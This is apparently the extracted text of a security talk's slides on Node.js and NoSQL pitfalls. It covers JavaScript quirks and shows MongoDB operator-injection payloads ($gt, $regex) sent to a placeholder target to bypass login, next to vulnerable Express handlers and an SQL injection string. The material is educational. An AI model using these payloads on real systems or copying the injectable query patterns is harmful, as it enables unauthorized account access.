Upload
websecurify
View
1.721
Download
0
Embed Size (px)
Citation preview
Our Assumptions
• Node.js is a safe programming language
• NoSQL is a safe alternative to SQL
• Node.js + NoSQL = win
–Isaac Asimov
“Your assumptions are your windows on the world. Scrub them off every once in a while, or the light won't
come in.”
var hex = 0xFF55 << 8; // Shifting by 8 bits adds 0x00 at the end alert(hex.toString(16)); // 0xFF5500
// Before 0x800000 it's ok
alert((0x777777 << 8).toString(16)); // 0x77777700
// After 0x800000 it's not ok
alert((0x888888 << 8).toString(16)); // -0x77777800, WTF?
Node (0.10.35) Chrome (40.0) Firefox (34.0)
[] + [] "" "" ""
[] + {} "[object Object]"
"[object Object]"
"[object Object]"
{} + [] "[object Object]" 0 0
{} + {}"[object
Object][object Object]"
NaN NaN
var quantity = obj.quantity || 1;
// ---
var price;
switch (obj.item || 'tie') { case 'tie': price = 5.76; break; case 'socks': price = 1.56; break; // --- default: price = 1.56; // --- break; }
// ---
var total = cur * quantity * price;
// ---
res.writeHead(200, 'OK', {'Content-Type': 'application/json'}); res.end(JSON.stringify({total: Math.abs(total).toFixed(2)}));
var obj;
try { obj = JSON.parse( chunks.join('')); } catch (e) { res.writeHead(500); res.end(); // --- return; }
// ---
var cur;
switch (obj.code || 'USD') { case 'USD': cur = 0.9; break; case 'GBP': cur = 0.5; break; // --- default: cur = 0.9; // --- break; }
// ---
var quantity = obj.quantity || 1;
// ---
var price;
switch (obj.item || 'tie') { case 'tie': price = 5.76; break; case 'socks': price = 1.56; break; // --- default: price = 1.56; // --- break; }
// ---
var total = cur * quantity * price;
// ---
res.writeHead(200, 'OK', {'Content-Type': 'application/json'}); res.end(JSON.stringify({total: Math.abs(total).toFixed(2)}));
var obj;
try { obj = JSON.parse( chunks.join('')); } catch (e) { res.writeHead(500); res.end(); // --- return; }
// ---
var cur;
switch (obj.code || 'USD') { case 'USD': cur = 0.9; break; case 'GBP': cur = 0.5; break; // --- default: cur = 0.9; // --- break; }
// ---
SELECT * FROM users WHERE username = '$user' AND password = '$pass'
SELECT * FROM usersWHERE username = '' or 1=1--' AND password = ''
app.post('/', function (req, res) { var query = { username: req.body.username, password: req.body.password }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });
app.post('/', function (req, res) { var query = { username: req.body.username, password: req.body.password }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });
Comparison Logical Element Evaluation Array Projection
$gt $and $exists $mod $all $
$gte $nor $type $regex $elementMatch $elementMatch
$in $not $text $size $meta
$lt $or $where $slice
$lte
$ne
$nin
POST http://target/ HTTP/1.1 Content-Type: application/json
{ "username": {"$gt": ""}, "password": {"$gt": ""} }
app.post('/', function (req, res) { var query = { username: {"$gt": ""}, password: {"$gt": ""} }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });
app.post('/', function (req, res) { var query = { username: req.param('username'), password: req.param('password') }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });
app.post('/', function (req, res) { var query = { username: req.param('username'), password: req.param('password') }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });
POST http://target/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded
username[$gt]=&password[$gt]=
app.post('/', function (req, res) { var query = { username: {"$gt": ""}, password: {"$gt": ""} }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });
app.post('/', function(req, res) { User.findOne({user: req.body.user}, function (err, user) { if (err) { return res.render('index', {message: err.message}); }
// ---
if (!user) { return res.render('index', {message: 'Sorry!'}); }
// ---
if (user.hash != sha1(req.body.pass)) { return res.render('index', {message: 'Sorry!'}); }
// ---
return res.render('index', {message: 'Welcome back ' + user.name + '!!!'}); }); });
POST http://target/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded
user[$regex]=ab.c&pass=abc123
app.post('/', function(req, res) { User.findOne({user: {$regex: "ab.c"}}, function (err, user) { if (err) { return res.render('index', {message: err.message}); }
// ---
if (!user) { return res.render('index', {message: 'Sorry!'}); }
// ---
if (user.hash != sha1("abc123")) { return res.render('index', {message: 'Sorry!'}); }
// ---
return res.render('index', {message: 'Welcome back ' + user.name + '!!!'}); }); });
POST http://target/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded
user[$regex]=ab.c&pass=abc123
POST http://target/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded
user[$regex]=ba.c&pass=abc123
POST http://target/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded
user[$regex]=cd.e&pass=abc123
POST http://target/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded
user[$regex]=dc.e&pass=abc123